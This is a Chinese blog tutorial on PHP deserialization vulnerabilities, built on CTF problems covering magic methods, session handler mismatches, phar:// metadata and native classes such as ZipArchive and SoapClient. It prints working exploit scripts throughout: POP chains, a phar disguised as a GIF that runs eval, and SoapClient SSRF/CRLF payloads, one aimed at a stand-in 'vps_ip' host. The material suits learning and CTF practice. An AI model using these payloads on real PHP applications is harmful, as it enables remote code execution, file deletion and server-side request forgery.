Xi4or0uji's blog

php反序列化由浅到深

字数统计: 3.8k阅读时长: 16 min
2019/06/27 Share

前言

最近的博客可能都是各类知识点的总结博客,毕竟队内的wiki还在搭建过程中,今天就来系统讲一下php的反序列化吧,如果有错误,希望各位大师傅们指出Orz

序列化与反序列化

简单的说来,就是PHP在保存和传递对象的时候,会将一个原本很大块的代码根据一定的规则转换为字符串,这个过程就是序列化,那么反序列化就是将序列化后的字符串重新转化为对象的过程了,好了,下面先来几个例子来具体介绍

简单例子

先放一个简单的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Example{
public $a1 = "abc";
private $a2 = "abc";
protected $a3 = "abc";
public $b = ["1","2","3"];

public function display(){
echo $this->a1;
echo "\n";
echo $this->b;
}
}
$example = new Example();
file_put_contents('res.txt',serialize($example));
var_dump(serialize($example)) ;

这个时候我们就可以看到序列化后的值是

1
string(138) "O:7:"Example":4:{s:2:"a1";s:3:"abc";s:11:"Examplea2";s:3:"abc";s:5:"*a3";s:3:"abc";s:1:"b";a:3:{i:0;s:1:"1";i:1;s:1:"2";i:2;s:1:"3";}}"

可以看到a1、a2、a3的值都一样,但是这三个值的键名都不一样,具体看一下他的二进制数

可以看到,它是会将每一个变量的类型和值都保存起来,还会将长度打印出来,但是需要注意一点

1
2
3
公有属性:属性名
私有属性:%00类名%00属性名
保护属性:%00*%00属性名

然后还原也能成功还原

1
2
$s = "O:7:"Example":4:{s:2:"a1";s:3:"abc";s:11:"Examplea2";s:3:"abc";s:5:"*a3";s:3:"abc";s:1:"b";a:3:{i:0;s:1:"1";i:1;s:1:"2";i:2;s:1:"3";}}";
var_dump(unserialize($s));

以上就是一个简单的序列化和反序列化的过程了,那么接下来就是漏洞利用了

漏洞利用

魔幻函数

在php里面,有许多很神奇的函数,通过一定的条件可以自动调用,我们将它称为魔幻函数,先列一下

1
2
3
4
5
6
7
8
9
10
11
12
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__sleep() //对象被序列化前触发
__wakeup() //反序列化前触发
__toString() //将对象当做字符串输出会触发

例题

这道题是今年国赛的热身题,先来看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

可以看到这道题我们想要拿到flag先要触发__destruct函数,但是__wakeup函数会将一切参数置空,修改一下属性个数就能绕过,至于token_flagtoken的匹配就要用指针去匹配,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token = &$this->token_flag;
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

$h = new Handle(new Flag('flag.php'));
echo urlencode(serialize($h));
//$c = "O:6:\"Handle\":3:{s:14:\"Handlehandle\";O:4:\"Flag\":3:{s:4:\"file\";s:8:\"flag.php\";s:5:\"token\";N;s:10:\"token_flag\";R:4;}}";

session序列化漏洞

简单介绍

1
2
3
4
5
<?php
session_start();
$_SESSION['login'] = true;
$_SESSION['id'] = 1;
$_SESSION['username'] = 'Ariel';

session的数据会存储在/var/lib/php/sessions/目录下,读一下这个目录的内容

可以看到,这个序列化后的值跟我们最上面的值很相似,但是又有点不同,因为在session的序列化中有三种不同的引擎,他们序列化后的结果都是不一样的
php_binary:ascii字符+键名+serialize()函数处理后的值
php:键名+竖线+serialize()函数处理后的值
php_serialize:serialize()函数处理后的值
如果没有指定引擎的时候,默认使用的是php引擎,但是如果我们指定了引擎的话,就会根据我们指定的去进行序列化
下面让我们看一下不同的引擎出来的不同的值

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['login'] = true;
$_SESSION['id'] = 1;
$_SESSION['username'] = 'Ariel';


可以看到这里有个正方形,login的长度是5,ascii字符是ENQ,不可见,所以显示不出来,剩下的部分还是按照之前的规则去存储的
接下来是php_serialize

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['login'] = true;
$_SESSION['id'] = 1;
$_SESSION['username'] = 'Ariel';


可以看到存储的值也发生了变化,那么问题来了,如果我们存储和解密session的时候用的引擎不一样,会不会引发问题呢?

例题

下面放一题Jarvis OJ的题目

1
http://web.jarvisoj.com:32784/

进去先看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}

可以看到这里有个后门eval,但是我们想要执行却发现类在构造的时候就已经对mdzz赋值了,有什么办法能控制它的值呢?我们先看一下他的phpinfo有没有什么信息好吧

可以看到他开启了session.upload_progress.enabled,因此我们可以控制文件内容,所以现在我们要做的就是写exp了
首先是对exal函数的利用,因为引擎不同,我们只需要在反序列化后的值前面加个|就可以让他成功触发漏洞了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'print_r(dirname(__FILE__));';
}
function __destruct()
{
eval($this->mdzz);
}
}
$o = new OowoO();
echo serialize($o);
//print_r(dirname(__FILE__));
//print_r(scandir("/opt/lampp/htdocs"));
//print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

这个时候我们要做的就是控制session的值了,根据官方的文档可以写出如下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>session反序列化</title>
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="changehere" />
<input type="submit" value="go" />
</form>
</body>
</html>

接下来要做的就是抓包修改值,触发反序列化,具体看图吧

phar反序列化

简单介绍

首先介绍一下phar://phar://php://filterdata://协议那些一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub,而stub就是一个标志,他的格式是xxx<?php xxxxx;__HALT_COMPILER();?>,结尾是__HALT_COMPILER()'?>,不然phar识别不了phar文件

简单栗子

我们首先先看一下phar怎么用

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
}
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$o = new TestObject();
$o -> data = 'h4ck3r';
$phar -> setMetadata($o);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();

执行一下我们看到他会产生一个phar.phar文件,丢去二进制编辑器看一下

我们确实看到了有反序列化后的值,对应的,就有反序列化的操作,而php大部分文件系统函数在通过phar://协议解析的时候,都会将meta-data进行反序列化,影响函数如下

接下来我们进行反序列化

1
2
3
4
5
6
7
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
include ('phar://phar.phar');


可以看到确实是有数据输出,因此可以看到这样是可以触发反序列化漏洞了,接下来就是利用了

例题

这里我们先给一个很简陋很简陋的前端的上传框好吧

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ea3y_upload_file</title>
</head>
<body>
<form action="http://localhost/ctf/serialize/train/phar_title1.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="upload" />
</form>
</body>
</html>

后台的限制是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"]."<br>";
echo "Type: " . $_FILES["file"]["type"]."<br>";
echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br>";

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

可以看到后台只允许上传gif文件,再接着看一下后台处理文件的源码

1
2
3
4
5
6
7
8
9
<?php
$filename=$_GET['filename'];
class AnyClass{
function __destruct()
{
eval($this ->data);
}
}
include ($filename);

可以看到后台拿到文件名会include进去文件名,而且还有一个类的__destruct方法里面有个eval函数,所以现在问题来了,我们要怎么利用呢?但是我们可以利用phar协议去完成利用,先写下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class AnyClass{
function __destruct()
{
eval($this -> data);
}
}
$phar = new Phar('phar2.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

然后就是先更改phar2.phar,将他的后缀名改成gif去上传上去,成功上传以后可以进行利用了

可以看到成功利用了,这就是一个简单的例子,深入的就在以后的比赛题中慢慢体会吧

原生类序列化问题

接下来的一个问题就是涉及到原生类的序列化问题了,首先我们先了解什么是原生类

原生类同名函数

首先先认识原生类同名函数的攻击漏洞,先假设我们有一个上传类如下

1
2
3
4
5
6
7
8
9
<?php
class Upload{
function upload($filename, $content){
//这是一个你不能修改的文件, prprprpr
}
function open($filename, $content){
//你还是不能修改, lololololol
}
}

这个上传类被.htaccess文件控制的很死,难以上传我们的小马,即使成功上传了,也不能执行,只有删除了.htaccess文件才可以,那么我们要怎么利用呢
所以我们现在就是要先找到一个函数,能删除或者覆盖掉.htaccess文件,先搜索一波

1
2
3
4
5
6
7
8
<?php
foreach (get_declared_classes() as $class){
foreach (get_class_methods($class) as $method){
if ($method == "open"){
echo "$class -> $method"."<br>";
}
}
}

这里搜索到三个函数

1
2
3
SessionHandler -> open
ZipArchive -> open
XMLReader -> open

接下来就是查阅官方手册看一下哪个能利用

搜索可利用函数

先看SessionHandler::open

查看参数可知,他的传参只有两个,save_pathsession_name,都是关于session方面的操作的,难以利用
接着找ZipArchive::open

可以看到flag参数有个ZipArchive::OVERWRITE模式,继续找它的官方介绍能看到

1
2
ZIPARCHIVE::OVERWRITE (integer)
总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖。

我们先测试一下

可以看到确实成功的删除了文件,因此我们就可以达到了删除固定文件的目的,也就摆脱了.htaccess文件的限制了
最后再看一下XMLReader::open

里面的几个option都没有删除文件的功能,利用价值不高

例题

这部分晚点再补充

原生类魔幻函数

上面的函数固然可以成功利用,但是要找到这样的函数并非一件简单的事情,因此我们可以考虑一下,有没有什么类里面会包含了魔幻函数呢,这样子我们利用的难度也会大大降低

找可利用的类

改一下原来的搜索脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$classes = get_declared_classes();
foreach ($classes as $class){
$methods = get_class_methods($class);
foreach ($methods as $method){
if (in_array($method, array(
'__construct',
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))){
echo $class."::".$method."<br>";
}
}
}


可以看到确实能找出一堆的函数

例题

上面列了这么多函数,但是具体如何利用呢,下面放一道题目,就是2018LCTF的一道题目,index.php的源码为

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'],$_POST);
session_start();
if(isset($_GET['name'])){
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);

flag.php的源码为

1
2
3
4
5
6
7
<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{******************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}

这题可以看到index.php里面有个call_user_func函数,理想状态下我们是想通过变量覆盖,将$b覆盖成unserialize,然后利用下一个call_user_func函数再去调用进行利用,可是$a是数组,难以进行利用,根据题目给出的flag.php文件可以猜测到时利用反序列化去触发ssrf,所以现在我们就是要去寻找一个可以利用的类
这题的利用点有两个,一个是session类,另一个就是SOAP类了,根据我们上面讲的可以知道,我们现在要做的就是利用session引擎的漏洞和原生类的魔幻函数去进行反序列化漏洞利用了
我们先试一下最简单的用法去进行反弹shell

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('location'=>'http://vps_ip:2333','uri'=>'123'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c -> a();


成功回弹,那么接下来就是要试一下能不能进行crlf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = "http://vps_ip:2333";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmpr1954456893'
);
$b = new SoapClient(null,array('location' => $target,'user_agent' => 'glarcy^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);
//echo $b;
$d = unserialize($aaa);
$d -> b();


尝试了利用以后,就回到题目做题了,这道题目我们先用call_user_func去设置session引擎,然后再利用默认的引擎去触发反序列化,exp如下

1
2
3
4
5
<?php
$target = 'http://127.0.0.1/ctf/soap/flag.php';
$attack = new SoapClient(null,array('location'=>$target,'user_agent'=>"glary\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n",'uri'=>'123'));
$payload = urlencode(serialize($attack));
echo $payload;

生成payload打过去,但是要记得在payload前加一个|,因为我们是要先利用session的反序列化漏洞将payload存进session

然后就是去修改利用extract进行覆盖来反序列化利用了,注意session的值要记得改

菜鸡水平有限,php的反序列化部分暂时先讲到这里,有错误希望各位大师傅指出Orz

CATALOG
  1. 1. 前言
  2. 2. 序列化与反序列化
  3. 3. 简单例子
  4. 4. 漏洞利用
    1. 4.1. 魔幻函数
      1. 4.1.1. 例题
    2. 4.2. session序列化漏洞
      1. 4.2.1. 简单介绍
      2. 4.2.2. 例题
    3. 4.3. phar反序列化
      1. 4.3.1. 简单介绍
      2. 4.3.2. 简单栗子
      3. 4.3.3. 例题
    4. 4.4. 原生类序列化问题
      1. 4.4.1. 原生类同名函数
        1. 4.4.1.1. 搜索可利用函数
        2. 4.4.1.2. 例题
      2. 4.4.2. 原生类魔幻函数
        1. 4.4.2.1. 找可利用的类
        2. 4.4.2.2. 例题